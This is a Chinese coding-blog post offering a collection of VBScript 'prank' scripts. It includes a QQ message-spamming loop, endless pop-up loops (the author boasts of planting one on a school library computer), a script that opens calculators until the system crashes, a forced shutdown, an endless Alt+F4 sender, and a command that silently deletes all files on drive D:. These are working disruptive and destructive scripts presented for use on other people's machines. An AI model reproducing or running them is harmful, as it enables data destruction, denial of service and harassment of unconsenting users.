娜迦源码博客

多年的代码收集:vbs整人代码大集合 今天分享给大家

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 
xx.vbs=> 

复制代码 代码如下: 


On Error Resume Next 
Dim wsh,ye 
set wsh=createobject("wscript.shell") 
for i=1 to 10 
wscript.sleep 700 
wsh.AppActivate("与 xx 聊天中") 
wsh.sendKeys "^v" 
wsh.sendKeys i 
wsh.sendKeys "%s" 
next 
wscript.quit 


QQ骚扰信息,也可以用在其它程序上。 
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 
------------------------------------------------------------------------------ 
do 
msgbox "You are foolish!" 
loop 
------------------------------------------------------------------------------ 
三、打开无数个计算器,直到死机 
------------------------------------------------------------------------------ 
set wsh=createobject("wscript.shell") 
do 
wsh.run "calc" 
loop 
----------------------------------------------------------------------------- 
四、直接关机 
----------------------------------------------------------------------------- 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true 
----------------------------------------------------------------------------- 
五、删除D:\所有文件 
--------------------------------------------------------------------------- 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 
---------------------------------------------------------------------------- 
六、不断弹出窗口 
---------------------------------------------------------------------------- 

复制代码 代码如下: 


while(1) 
msgbox "哈哈 你被耍了!" 
loop 


---------------------------------------------------------------------------- 
七、不断按下alt+f4 (开什么都关闭……) 
--------------------------------------------------------------------------- 

复制代码 代码如下: 


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
while(1) 
WSHshell.SendKeys "%{F4}" 
loop 


八、按500次回车 
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改) 

复制代码 代码如下: 


dim s 
do until s=500 
s=s+1 
msgbox "哥们,给我按500次回车吧",64 
loop 

本文链接:https://www.wsx6.cn/post/1034.html

版权声明:版权声明: 1:如非特殊说明,本站对提供的源码不拥有任何权利,其版权归原著者拥有。 2:请勿将该源码、软件进行商业交易、转载等行为,该源码、软件只为研究、学习所提供,该软件使用后发生的一切问题与本站无关。 3:本网站所有源码和软件均为作者提供和网友推荐收集整理而来,仅供学习和研究使用。如有侵犯你版权的,请来信(邮箱:393249296@qq.com)指出,本站将立即改正。

联系客服
网站客服 业务合作 Q交流群
673529708
返回顶部
请先 登录 再评论,若不是会员请先 注册